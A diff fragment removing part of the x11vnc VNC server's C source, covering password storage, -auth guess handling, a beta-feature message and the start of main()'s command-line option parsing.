- execvp(argv[0], argv2);
- exit(1);
- }
-
- if (loop_max > 0 && i > loop_max) {
- fprintf(stderr, "\n --- x11vnc loop: did %d"
- " done. ---\n\n", loop_max);
- break;
- }
-
- fprintf(stderr, "\n --- x11vnc loop: sleeping %d ms "
- "---\n\n", loop_sleep);
- usleep(loop_sleep * 1000);
- }
- exit(0);
-#else
- fprintf(stderr, "fork unavailable, cannot do -loop mode\n");
- exit(1);
-#endif
- }
-}
-
-extern int appshare_main(int argc, char* argv[]);
-
-static void check_appshare_mode(int argc, char* argv[]) {
- int i;
-
- for (i=1; i < argc; i++) {
- char *p = argv[i];
- if (strstr(p, "--") == p) {
- p++;
- }
- if (strstr(p, "-appshare") == p) {
- appshare_main(argc, argv);
- exit(0);
- }
- }
-}
-
-static void store_homedir_passwd(char *file) {
- char str1[32], str2[32], *p, *h, *f;
- struct stat sbuf;
-
- str1[0] = '\0';
- str2[0] = '\0';
-
- /* storepasswd */
- if (no_external_cmds || !cmd_ok("storepasswd")) {
- fprintf(stderr, "-nocmds cannot be used with -storepasswd\n");
- exit(1);
- }
-
- fprintf(stderr, "Enter VNC password: ");
- system("stty -echo");
- if (fgets(str1, 32, stdin) == NULL) {
- perror("fgets");
- system("stty echo");
- exit(1);
- }
- fprintf(stderr, "\n");
-
- fprintf(stderr, "Verify password: ");
- if (fgets(str2, 32, stdin) == NULL) {
- perror("fgets");
- system("stty echo");
- exit(1);
- }
- fprintf(stderr, "\n");
- system("stty echo");
-
- if ((p = strchr(str1, '\n')) != NULL) {
- *p = '\0';
- }
- if ((p = strchr(str2, '\n')) != NULL) {
- *p = '\0';
- }
- if (strcmp(str1, str2)) {
- fprintf(stderr, "** passwords differ.\n");
- exit(1);
- }
- if (str1[0] == '\0') {
- fprintf(stderr, "** no password supplied.\n");
- exit(1);
- }
-
- if (file != NULL) {
- f = file;
- } else {
-
- h = getenv("HOME");
- if (! h) {
- fprintf(stderr, "** $HOME not set.\n");
- exit(1);
- }
-
- f = (char *) malloc(strlen(h) + strlen("/.vnc/passwd") + 1);
- sprintf(f, "%s/.vnc", h);
-
- if (stat(f, &sbuf) != 0) {
- if (mkdir(f, 0755) != 0) {
- fprintf(stderr, "** could not create directory %s\n", f);
- perror("mkdir");
- exit(1);
- }
- } else if (! S_ISDIR(sbuf.st_mode)) {
- fprintf(stderr, "** not a directory %s\n", f);
- exit(1);
- }
-
- sprintf(f, "%s/.vnc/passwd", h);
- }
- fprintf(stderr, "Write password to %s? [y]/n ", f);
-
- if (fgets(str2, 32, stdin) == NULL) {
- perror("fgets");
- exit(1);
- }
- if (str2[0] == 'n' || str2[0] == 'N') {
- fprintf(stderr, "not creating password.\n");
- exit(1);
- }
-
- if (rfbEncryptAndStorePasswd(str1, f) != 0) {
- fprintf(stderr, "** error creating password: %s\n", f);
- perror("storepasswd");
- exit(1);
- }
- if (stat(f, &sbuf) != 0) {
- fprintf(stderr, "** error creating password: %s\n", f);
- perror("stat");
- exit(1);
- }
- fprintf(stdout, "Password written to: %s\n", f);
- exit(0);
-}
-
-void ncache_beta_tester_message(void) {
-
-char msg[] =
-"\n"
-"******************************************************************************\n"
-"\n"
-"Hello! Exciting News!!\n"
-"\n"
-"You have been selected at random to beta-test the x11vnc '-ncache' VNC\n"
-"client-side pixel caching feature!\n"
-"\n"
-"This scheme stores pixel data offscreen on the VNC viewer side for faster\n"
-"retrieval. It should work with any VNC viewer.\n"
-"\n"
-"This method requires much testing and so we hope you will try it out and\n"
-"perhaps even report back your observations. However, if you do not want\n"
-"to test or use the feature, run x11vnc like this:\n"
-"\n"
-" x11vnc -noncache ...\n"
-"\n"
-"Your current setting is: -ncache %d\n"
-"\n"
-"The feature needs additional testing because we want to have x11vnc\n"
-"performance enhancements on by default. Otherwise, only a relative few\n"
-"would notice and use the -ncache option (e.g. the wireframe and scroll\n"
-"detection features are on by default). A couple things to note:\n"
-"\n"
-" 1) It uses a large amount of RAM (on both viewer and server sides)\n"
-"\n"
-" 2) You can actually see the cached pixel data if you scroll down\n"
-" to it in your viewer; adjust your viewer's size to hide it.\n"
-"\n"
-"More info: http://www.karlrunge.com/x11vnc/faq.html#faq-client-caching\n"
-"\n"
-"waiting for connections:\n"
-;
-
-char msg2[] =
-"\n"
-"******************************************************************************\n"
-"Have you tried the x11vnc '-ncache' VNC client-side pixel caching feature yet?\n"
-"\n"
-"The scheme stores pixel data offscreen on the VNC viewer side for faster\n"
-"retrieval. It should work with any VNC viewer. Try it by running:\n"
-"\n"
-" x11vnc -ncache 10 ...\n"
-"\n"
-"One can also add -ncache_cr for smooth 'copyrect' window motion.\n"
-"More info: http://www.karlrunge.com/x11vnc/faq.html#faq-client-caching\n"
-"\n"
-;
-
- if (raw_fb_str && !macosx_console) {
- return;
- }
- if (quiet) {
- return;
- }
- if (remote_direct) {
- return;
- }
- if (nofb) {
- return;
- }
-#ifdef NO_NCACHE
- return;
-#endif
-
- if (ncache == 0) {
- fprintf(stderr, "%s", msg2);
- ncache0 = ncache = 0;
- } else {
- fprintf(stderr, msg, ncache);
- }
-}
-
-#define SHOW_NO_PASSWORD_WARNING \
- (!got_passwd && !got_rfbauth && (!got_passwdfile || !passwd_list) \
- && !query_cmd && !remote_cmd && !unixpw && !got_gui_pw \
- && ! ssl_verify && !inetd && !terminal_services_daemon)
-
-static void do_sleepin(char *sleep) {
- int n1, n2, nt;
- double f1, f2, ft;
-
- if (strchr(sleep, '-')) {
- double s = atof(strchr(sleep, '-')+1);
- if (sscanf(sleep, "%d-%d", &n1, &n2) == 2) {
- if (n1 > n2) {
- nt = n1;
- n1 = n2;
- n2 = nt;
- }
- s = n1 + rfac() * (n2 - n1);
- } else if (sscanf(sleep, "%lf-%lf", &f1, &f2) == 2) {
- if (f1 > f2) {
- ft = f1;
- f1 = f2;
- f2 = ft;
- }
- s = f1 + rfac() * (f2 - f1);
- }
- if (getenv("DEBUG_SLEEPIN")) fprintf(stderr, "sleepin: %f secs\n", s);
- usleep( (int) (1000*1000*s) );
- } else {
- n1 = atoi(sleep);
- if (getenv("DEBUG_SLEEPIN")) fprintf(stderr, "sleepin: %d secs\n", n1);
- if (n1 > 0) {
- usleep(1000*1000*n1);
- }
- }
-}
-
-static void check_guess_auth_file(void) {
- if (!strcasecmp(auth_file, "guess")) {
- char line[4096], *cmd, *q, *disp = use_dpy ? use_dpy: "";
- FILE *p;
- int n;
- if (!program_name) {
- rfbLog("-auth guess: no program_name found.\n");
- clean_up_exit(1);
- }
- if (strpbrk(program_name, " \t\r\n")) {
- rfbLog("-auth guess: whitespace in program_name '%s'\n", program_name);
- clean_up_exit(1);
- }
- if (no_external_cmds || !cmd_ok("findauth")) {
- rfbLog("-auth guess: cannot run external commands in -nocmds mode:\n");
- clean_up_exit(1);
- }
-
- cmd = (char *)malloc(100 + strlen(program_name) + strlen(disp));
- sprintf(cmd, "%s -findauth %s -env _D_XDM=1", program_name, disp);
- p = popen(cmd, "r");
- if (!p) {
- rfbLog("-auth guess: could not run cmd '%s'\n", cmd);
- clean_up_exit(1);
- }
- memset(line, 0, sizeof(line));
- n = fread(line, 1, sizeof(line), p);
- pclose(p);
- q = strrchr(line, '\n');
- if (q) *q = '\0';
- if (!strcmp(disp, "")) {
- disp = getenv("DISPLAY");
- if (!disp) {
- disp = "unset";
- }
- }
- if (strstr(line, "XAUTHORITY=") != line && !getenv("FD_XDM")) {
- if (use_dpy == NULL || strstr(use_dpy, "cmd=FIND") == NULL) {
- if (getuid() == 0 || geteuid() == 0) {
- char *q = strstr(cmd, "_D_XDM=1");
- if (q) {
- *q = 'F';
- rfbLog("-auth guess: failed for display='%s'\n", disp);
- rfbLog("-auth guess: since we are root, retrying with FD_XDM=1\n");
- p = popen(cmd, "r");
- if (!p) {
- rfbLog("-auth guess: could not run cmd '%s'\n", cmd);
- clean_up_exit(1);
- }
- memset(line, 0, sizeof(line));
- n = fread(line, 1, sizeof(line), p);
- pclose(p);
- q = strrchr(line, '\n');
- if (q) *q = '\0';
- }
- }
- }
- }
- if (!strcmp(line, "")) {
- rfbLog("-auth guess: failed for display='%s'\n", disp);
- clean_up_exit(1);
- } else if (strstr(line, "XAUTHORITY=") != line) {
- rfbLog("-auth guess: failed. '%s' for display='%s'\n", line, disp);
- clean_up_exit(1);
- } else if (!strcmp(line, "XAUTHORITY=")) {
- rfbLog("-auth guess: using default XAUTHORITY for display='%s'\n", disp);
- q = getenv("XAUTHORITY");
- if (q) {
- *(q-2) = '_'; /* yow */
- }
- auth_file = NULL;
- } else {
- rfbLog("-auth guess: using '%s' for disp='%s'\n", line, disp);
- auth_file = strdup(line + strlen("XAUTHORITY="));
- }
- }
-}
-
-extern int is_decimal(char *);
-
-int main(int argc, char* argv[]) {
-
- int i, len, tmpi;
- int ev, er, maj, min;
- char *arg;
- int remote_sync = 0;
- char *remote_cmd = NULL;
- char *query_cmd = NULL;
- int query_retries = 0;
- double query_delay = 0.5;
- char *query_match = NULL;
- char *gui_str = NULL;
- int got_gui_pw = 0;
- int pw_loc = -1, got_passwd = 0, got_rfbauth = 0, nopw = NOPW;
- int got_viewpasswd = 0, got_localhost = 0, got_passwdfile = 0;
- int vpw_loc = -1;
- int dt = 0, bg = 0;
- int got_rfbwait = 0;
- int got_httpdir = 0, try_http = 0;
- int orig_use_xdamage = use_xdamage;
- int http_oneport_msg = 0;
- XImage *fb0 = NULL;
- int ncache_msg = 0;
- char *got_rfbport_str = NULL;
- int got_rfbport_pos = -1;
- int got_tls = 0;
- int got_inetd = 0;
- int got_noxrandr = 0;
-
- /* used to pass args we do not know about to rfbGetScreen(): */
- int argc_vnc_max = 1024;
- int argc_vnc = 1; char *argv_vnc[2048];
-
- /* check for -loop mode: */
- check_loop_mode(argc, argv, 0);
-
- /* check for -appshare mode: */
- check_appshare_mode(argc, argv);
-
- dtime0(&x11vnc_start);
-
- for (i=1; i < argc; i++) {
- if (!strcmp(argv[i], "-inetd")) {
- got_inetd = 1;
- }
- }
-
- if (!getuid() || !geteuid()) {
- started_as_root = 1;
- if (0 && !got_inetd) {
- rfbLog("getuid: %d geteuid: %d\n", getuid(), geteuid());
- }
-
- /* check for '-users =bob' */
- immediate_switch_user(argc, argv);
- }
-
- for (i=0; i < 2048; i++) {
- argv_vnc[i] = NULL;
- }
-
- argv_vnc[0] = strdup(argv[0]);
- program_name = strdup(argv[0]);
- program_pid = (int) getpid();
-
- solid_default = strdup(solid_default); /* for freeing with -R */
-
- len = 0;
- for (i=1; i < argc; i++) {
- len += strlen(argv[i]) + 4 + 1;
- }
- program_cmdline = (char *) malloc(len+1);
- program_cmdline[0] = '\0';
- for (i=1; i < argc; i++) {
- char *s = argv[i];
- if (program_cmdline[0]) {
- strcat(program_cmdline, " ");
- }
- if (*s == '-') {
- strcat(program_cmdline, s);
- } else {
- strcat(program_cmdline, "{{");
- strcat(program_cmdline, s);
- strcat(program_cmdline, "}}");
- }
- }
-
- for (i=0; i<ICON_MODE_SOCKS; i++) {
- icon_mode_socks[i] = -1;
- }
-
- check_rcfile(argc, argv);
- /* kludge for the new array argv2 set in check_rcfile() */
-# define argc argc2
-# define argv argv2
-
-# define CHECK_ARGC if (i >= argc-1) { \
- fprintf(stderr, "not enough arguments for: %s\n", arg); \
- exit(1); \
- }
-
- /*
- * do a quick check for parameters that apply to "utility"
- * commands, i.e. ones that do not run the server.
- */
- for (i=1; i < argc; i++) {
- arg = argv[i];
- if (strstr(arg, "--") == arg) {
- arg++;
- }
- if (!strcmp(arg, "-ssldir")) {
- CHECK_ARGC
- ssl_certs_dir = strdup(argv[++i]);
- }
- }
-
- /*
- * do a quick check for -env parameters
- */
- for (i=1; i < argc; i++) {
- char *p, *q;
- arg = argv[i];
- if (strstr(arg, "--") == arg) {
- arg++;
- }
- if (!strcmp(arg, "-env")) {
- CHECK_ARGC
- p = strdup(argv[++i]);
- q = strchr(p, '=');
- if (! q) {
- fprintf(stderr, "no -env '=' found: %s\n", p);
- exit(1);
- } else {
- *q = '\0';
- }
- set_env(p, q+1);
- free(p);
- }
- }
-
- for (i=1; i < argc; i++) {
- /* quick-n-dirty --option handling. */
- arg = argv[i];
- if (strstr(arg, "--") == arg) {
- arg++;
- }
-
- if (!strcmp(arg, "-display")) {
- CHECK_ARGC
- use_dpy = strdup(argv[++i]);
- if (strstr(use_dpy, "WAIT")) {
- extern char find_display[];
- extern char create_display[];
- if (strstr(use_dpy, "cmd=FINDDISPLAY-print")) {
- fprintf(stdout, "%s", find_display);
- exit(0);
- }
- if (strstr(use_dpy, "cmd=FINDCREATEDISPLAY-print")) {
- fprintf(stdout, "%s", create_display);
- exit(0);
- }
- }
- continue;
- }
- if (!strcmp(arg, "-reopen")) {
- char *str = getenv("X11VNC_REOPEN_DISPLAY");
- if (str) {
- int rmax = atoi(str);
- if (rmax > 0) {
- set_env("X11VNC_REOPEN_DISPLAY", str);
- }
- } else {
- set_env("X11VNC_REOPEN_DISPLAY", "1");
- }
- continue;
- }
- if (!strcmp(arg, "-find")) {
- use_dpy = strdup("WAIT:cmd=FINDDISPLAY");
- continue;
- }
- if (!strcmp(arg, "-finddpy") || strstr(arg, "-listdpy") == arg) {
- int ic = 0;
- use_dpy = strdup("WAIT:cmd=FINDDISPLAY-run");
- if (argc > i+1) {
- set_env("X11VNC_USER", argv[i+1]);
- fprintf(stdout, "X11VNC_USER=%s\n", getenv("X11VNC_USER"));
- }
- if (strstr(arg, "-listdpy") == arg) {
- set_env("FIND_DISPLAY_ALL", "1");
- }
- wait_for_client(&ic, NULL, 0);
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-findauth")) {
- got_findauth = 1;
- if (argc > i+1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- set_env("FINDAUTH_DISPLAY", argv[i+1]);
- i++;
- }
- }
- continue;
- }
- if (!strcmp(arg, "-create")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xvfb");
- continue;
- }
- if (!strcmp(arg, "-create_xsrv")) {
- CHECK_ARGC
- use_dpy = (char *) malloc(strlen(argv[i+1])+100);
- sprintf(use_dpy, "WAIT:cmd=FINDCREATEDISPLAY-%s", argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-xdummy")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xdummy");
- continue;
- }
- if (!strcmp(arg, "-xdummy_xvfb")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb");
- continue;
- }
- if (!strcmp(arg, "-xvnc")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xvnc");
- continue;
- }
- if (!strcmp(arg, "-xvnc_redirect")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xvnc.redirect");
- continue;
- }
- if (!strcmp(arg, "-redirect")) {
- char *q, *t, *t0 = "WAIT:cmd=FINDDISPLAY-vnc_redirect";
- CHECK_ARGC
- t = (char *) malloc(strlen(t0) + strlen(argv[++i]) + 2);
- q = strrchr(argv[i], ':');
- if (q) *q = ' ';
- sprintf(t, "%s=%s", t0, argv[i]);
- use_dpy = t;
- continue;
- }
- if (!strcmp(arg, "-auth") || !strcmp(arg, "-xauth")) {
- CHECK_ARGC
- auth_file = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-N")) {
- display_N = 1;
- continue;
- }
- if (!strcmp(arg, "-autoport")) {
- CHECK_ARGC
- auto_port = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-reflect")) {
- CHECK_ARGC
- raw_fb_str = (char *) malloc(4 + strlen(argv[i+1]) + 1);
- sprintf(raw_fb_str, "vnc:%s", argv[++i]);
- shared = 1;
- continue;
- }
- if (!strcmp(arg, "-tsd")) {
- CHECK_ARGC
- terminal_services_daemon = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-id") || !strcmp(arg, "-sid")) {
- CHECK_ARGC
- if (!strcmp(arg, "-sid")) {
- rootshift = 1;
- } else {
- rootshift = 0;
- }
- i++;
- if (!strcmp("pick", argv[i])) {
- if (started_as_root) {
- fprintf(stderr, "unsafe: %s pick\n",
- arg);
- exit(1);
- } else if (! pick_windowid(&subwin)) {
- fprintf(stderr, "invalid %s pick\n",
- arg);
- exit(1);
- }
- } else if (! scan_hexdec(argv[i], &subwin)) {
- fprintf(stderr, "invalid %s arg: %s\n", arg,
- argv[i]);
- exit(1);
- }
- continue;
- }
- if (!strcmp(arg, "-waitmapped")) {
- subwin_wait_mapped = 1;
- continue;
- }
- if (!strcmp(arg, "-clip")) {
- CHECK_ARGC
- clip_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-flashcmap")) {
- flash_cmap = 1;
- continue;
- }
- if (!strcmp(arg, "-shiftcmap")) {
- CHECK_ARGC
- shift_cmap = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-notruecolor")) {
- force_indexed_color = 1;
- continue;
- }
- if (!strcmp(arg, "-advertise_truecolor")) {
- advertise_truecolor = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- if (strstr(s, "reset")) {
- advertise_truecolor_reset = 1;
- }
- i++;
- }
- }
- continue;
- }
- if (!strcmp(arg, "-overlay")) {
- overlay = 1;
- continue;
- }
- if (!strcmp(arg, "-overlay_nocursor")) {
- overlay = 1;
- overlay_cursor = 0;
- continue;
- }
- if (!strcmp(arg, "-overlay_yescursor")) {
- overlay = 1;
- overlay_cursor = 2;
- continue;
- }
- if (!strcmp(arg, "-8to24")) {
-#if !SKIP_8TO24
- cmap8to24 = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- cmap8to24_str = strdup(s);
- i++;
- }
- }
-#endif
- continue;
- }
- if (!strcmp(arg, "-24to32")) {
- xform24to32 = 1;
- continue;
- }
- if (!strcmp(arg, "-visual")) {
- CHECK_ARGC
- visual_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-scale")) {
- CHECK_ARGC
- scale_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-geometry")) {
- CHECK_ARGC
- scale_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-scale_cursor")) {
- CHECK_ARGC
- scale_cursor_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-viewonly")) {
- view_only = 1;
- continue;
- }
- if (!strcmp(arg, "-noviewonly")) {
- view_only = 0;
- got_noviewonly = 1;
- continue;
- }
- if (!strcmp(arg, "-shared")) {
- shared = 1;
- continue;
- }
- if (!strcmp(arg, "-noshared")) {
- shared = 0;
- continue;
- }
- if (!strcmp(arg, "-once")) {
- connect_once = 1;
- got_connect_once = 1;
- continue;
- }
- if (!strcmp(arg, "-many") || !strcmp(arg, "-forever")) {
- connect_once = 0;
- continue;
- }
- if (strstr(arg, "-loop") == arg) {
- ; /* handled above */
- continue;
- }
- if (strstr(arg, "-appshare") == arg) {
- ; /* handled above */
- continue;
- }
- if (strstr(arg, "-freeze_when_obscured") == arg) {
- freeze_when_obscured = 1;
- continue;
- }
- if (!strcmp(arg, "-timeout")) {
- CHECK_ARGC
- first_conn_timeout = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-sleepin")) {
- CHECK_ARGC
- do_sleepin(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-users")) {
- CHECK_ARGC
- users_list = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-inetd")) {
- inetd = 1;
- continue;
- }
- if (!strcmp(arg, "-notightfilexfer")) {
- tightfilexfer = 0;
- continue;
- }
- if (!strcmp(arg, "-tightfilexfer")) {
- tightfilexfer = 1;
- continue;
- }
- if (!strcmp(arg, "-http")) {
- try_http = 1;
- continue;
- }
- if (!strcmp(arg, "-http_ssl")) {
- try_http = 1;
- http_ssl = 1;
- got_tls++;
- continue;
- }
- if (!strcmp(arg, "-avahi") || !strcmp(arg, "-mdns") || !strcmp(arg, "-zeroconf")) {
- avahi = 1;
- continue;
- }
- if (!strcmp(arg, "-connect") ||
- !strcmp(arg, "-connect_or_exit") ||
- !strcmp(arg, "-coe")) {
- CHECK_ARGC
- if (!strcmp(arg, "-connect_or_exit")) {
- connect_or_exit = 1;
- } else if (!strcmp(arg, "-coe")) {
- connect_or_exit = 1;
- }
- if (strchr(argv[++i], '/') && !strstr(argv[i], "repeater://")) {
- struct stat sb;
- client_connect_file = strdup(argv[i]);
- if (stat(client_connect_file, &sb) != 0) {
- FILE* f = fopen(client_connect_file, "w");
- if (f != NULL) fclose(f);
- }
- } else {
- client_connect = strdup(argv[i]);
- }
- continue;
- }
- if (!strcmp(arg, "-proxy")) {
- CHECK_ARGC
- connect_proxy = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-vncconnect")) {
- vnc_connect = 1;
- continue;
- }
- if (!strcmp(arg, "-novncconnect")) {
- vnc_connect = 0;
- continue;
- }
- if (!strcmp(arg, "-allow")) {
- CHECK_ARGC
- allow_list = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-localhost")) {
- allow_list = strdup("127.0.0.1");
- got_localhost = 1;
- continue;
- }
- if (!strcmp(arg, "-unixsock")) {
- CHECK_ARGC
- unix_sock = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-listen6")) {
- CHECK_ARGC
-#if X11VNC_IPV6
- listen_str6 = strdup(argv[++i]);
-#else
- ++i;
-#endif
- continue;
- }
- if (!strcmp(arg, "-nolookup")) {
- host_lookup = 0;
- continue;
- }
- if (!strcmp(arg, "-6")) {
-#if X11VNC_IPV6
- ipv6_listen = 1;
- got_ipv6_listen = 1;
-#endif
- continue;
- }
- if (!strcmp(arg, "-no6")) {
-#if X11VNC_IPV6
- ipv6_listen = 0;
- got_ipv6_listen = 0;
-#endif
- continue;
- }
- if (!strcmp(arg, "-noipv6")) {
- noipv6 = 1;
- continue;
- }
- if (!strcmp(arg, "-noipv4")) {
- noipv4 = 1;
- continue;
- }
-
- if (!strcmp(arg, "-input")) {
- CHECK_ARGC
- allowed_input_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-grabkbd")) {
- grab_kbd = 1;
- continue;
- }
- if (!strcmp(arg, "-grabptr")) {
- grab_ptr = 1;
- continue;
- }
- if (!strcmp(arg, "-ungrabboth")) {
- ungrab_both = 1;
- continue;
- }
- if (!strcmp(arg, "-grabalways")) {
- grab_kbd = 1;
- grab_ptr = 1;
- grab_always = 1;
- continue;
- }
-#ifdef ENABLE_GRABLOCAL
- if (!strcmp(arg, "-grablocal")) {
- CHECK_ARGC
- grab_local = atoi(argv[++i]);
- continue;
- }
-#endif
- if (!strcmp(arg, "-viewpasswd")) {
- vpw_loc = i;
- CHECK_ARGC
- viewonly_passwd = strdup(argv[++i]);
- got_viewpasswd = 1;
- continue;
- }
- if (!strcmp(arg, "-passwdfile")) {
- CHECK_ARGC
- passwdfile = strdup(argv[++i]);
- got_passwdfile = 1;
- continue;
- }
- if (!strcmp(arg, "-svc") || !strcmp(arg, "-service")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xvfb");
- unixpw = 1;
- users_list = strdup("unixpw=");
- use_openssl = 1;
- openssl_pem = strdup("SAVE");
- continue;
- }
- if (!strcmp(arg, "-svc_xdummy")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xdummy");
- unixpw = 1;
- users_list = strdup("unixpw=");
- use_openssl = 1;
- openssl_pem = strdup("SAVE");
- continue;
- }
- if (!strcmp(arg, "-svc_xdummy_xvfb")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb");
- unixpw = 1;
- users_list = strdup("unixpw=");
- use_openssl = 1;
- openssl_pem = strdup("SAVE");
- continue;
- }
- if (!strcmp(arg, "-svc_xvnc")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xvnc");
- unixpw = 1;
- users_list = strdup("unixpw=");
- use_openssl = 1;
- openssl_pem = strdup("SAVE");
- continue;
- }
- if (!strcmp(arg, "-xdmsvc") || !strcmp(arg, "-xdm_service")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp");
- unixpw = 1;
- users_list = strdup("unixpw=");
- use_openssl = 1;
- openssl_pem = strdup("SAVE");
- continue;
- }
- if (!strcmp(arg, "-sshxdmsvc")) {
- use_dpy = strdup("WAIT:cmd=FINDCREATEDISPLAY-Xvfb.xdmcp");
- allow_list = strdup("127.0.0.1");
- got_localhost = 1;
- continue;
- }
- if (!strcmp(arg, "-unixpw_system_greeter")) {
- unixpw_system_greeter = 1;
- continue;
- }
- if (!strcmp(arg, "-unixpw_cmd")
- || !strcmp(arg, "-unixpw_cmd_unsafe")) {
- CHECK_ARGC
- unixpw_cmd = strdup(argv[++i]);
- unixpw = 1;
- if (strstr(arg, "_unsafe")) {
- /* hidden option for testing. */
- set_env("UNIXPW_DISABLE_SSL", "1");
- set_env("UNIXPW_DISABLE_LOCALHOST", "1");
- }
- continue;
- }
- if (strstr(arg, "-unixpw") == arg) {
- unixpw = 1;
- if (strstr(arg, "-unixpw_nis")) {
- unixpw_nis = 1;
- }
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- unixpw_list = strdup(s);
- i++;
- }
- if (s[0] == '%') {
- unixpw_list = NULL;
- quick_pw(s);
- exit(2);
- }
- }
- if (strstr(arg, "_unsafe")) {
- /* hidden option for testing. */
- set_env("UNIXPW_DISABLE_SSL", "1");
- set_env("UNIXPW_DISABLE_LOCALHOST", "1");
- }
- continue;
- }
- if (strstr(arg, "-nounixpw") == arg) {
- unixpw = 0;
- unixpw_nis = 0;
- if (unixpw_list) {
- unixpw_list = NULL;
- }
- if (unixpw_cmd) {
- unixpw_cmd = NULL;
- }
- continue;
- }
- if (!strcmp(arg, "-vencrypt")) {
- char *s;
- CHECK_ARGC
- s = strdup(argv[++i]);
- got_tls++;
- if (strstr(s, "never")) {
- vencrypt_mode = VENCRYPT_NONE;
- } else if (strstr(s, "support")) {
- vencrypt_mode = VENCRYPT_SUPPORT;
- } else if (strstr(s, "only")) {
- vencrypt_mode = VENCRYPT_SOLE;
- } else if (strstr(s, "force")) {
- vencrypt_mode = VENCRYPT_FORCE;
- } else {
- fprintf(stderr, "invalid %s arg: %s\n", arg, s);
- exit(1);
- }
- if (strstr(s, "nodh")) {
- vencrypt_kx = VENCRYPT_NODH;
- } else if (strstr(s, "nox509")) {
- vencrypt_kx = VENCRYPT_NOX509;
- }
- if (strstr(s, "newdh")) {
- create_fresh_dhparams = 1;
- }
- if (strstr(s, "noplain")) {
- vencrypt_enable_plain_login = 0;
- } else if (strstr(s, "plain")) {
- vencrypt_enable_plain_login = 1;
- }
- free(s);
- continue;
- }
- if (!strcmp(arg, "-anontls")) {
- char *s;
- CHECK_ARGC
- s = strdup(argv[++i]);
- got_tls++;
- if (strstr(s, "never")) {
- anontls_mode = ANONTLS_NONE;
- } else if (strstr(s, "support")) {
- anontls_mode = ANONTLS_SUPPORT;
- } else if (strstr(s, "only")) {
- anontls_mode = ANONTLS_SOLE;
- } else if (strstr(s, "force")) {
- anontls_mode = ANONTLS_FORCE;
- } else {
- fprintf(stderr, "invalid %s arg: %s\n", arg, s);
- exit(1);
- }
- if (strstr(s, "newdh")) {
- create_fresh_dhparams = 1;
- }
- free(s);
- continue;
- }
- if (!strcmp(arg, "-sslonly")) {
- vencrypt_mode = VENCRYPT_NONE;
- anontls_mode = ANONTLS_NONE;
- got_tls++;
- continue;
- }
- if (!strcmp(arg, "-dhparams")) {
- CHECK_ARGC
- dhparams_file = strdup(argv[++i]);
- got_tls++;
- continue;
- }
- if (!strcmp(arg, "-nossl")) {
- use_openssl = 0;
- openssl_pem = NULL;
- got_tls = -1000;
- continue;
- }
- if (!strcmp(arg, "-ssl")) {
- use_openssl = 1;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- if (!strcmp(s, "ADH")) {
- openssl_pem = strdup("ANON");
- } else if (!strcmp(s, "ANONDH")) {
- openssl_pem = strdup("ANON");
- } else if (!strcmp(s, "TMP")) {
- openssl_pem = NULL;
- } else {
- openssl_pem = strdup(s);
- }
- i++;
- } else {
- openssl_pem = strdup("SAVE");
- }
- } else {
- openssl_pem = strdup("SAVE");
- }
- continue;
- }
- if (!strcmp(arg, "-enc")) {
- use_openssl = 1;
- CHECK_ARGC
- enc_str = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-http_oneport")) {
- http_oneport_msg = 1;
- use_openssl = 1;
- enc_str = strdup("none");
- continue;
- }
- if (!strcmp(arg, "-ssltimeout")) {
- CHECK_ARGC
- ssl_timeout_secs = atoi(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-sslnofail")) {
- ssl_no_fail = 1;
- continue;
- }
- if (!strcmp(arg, "-ssldir")) {
- CHECK_ARGC
- ssl_certs_dir = strdup(argv[++i]);
- continue;
- }
- if (!strcmp(arg, "-sslverify")) {
- CHECK_ARGC
- ssl_verify = strdup(argv[++i]);
- got_tls++;
- continue;
- }
- if (!strcmp(arg, "-sslCRL")) {
- CHECK_ARGC
- ssl_crl = strdup(argv[++i]);
- got_tls++;
- continue;
- }
- if (!strcmp(arg, "-sslGenCA")) {
- char *cdir = NULL;
- if (i < argc-1) {
- char *s = argv[i+1];
- if (s[0] != '-') {
- cdir = strdup(s);
- i++;
- }
- }
- sslGenCA(cdir);
- exit(0);
- continue;
- }
- if (!strcmp(arg, "-sslGenCert")) {
- char *ty, *nm = NULL;
- if (i >= argc-1) {
- fprintf(stderr, "Must be:\n");
- fprintf(stderr, " x11vnc -sslGenCert server ...\n");
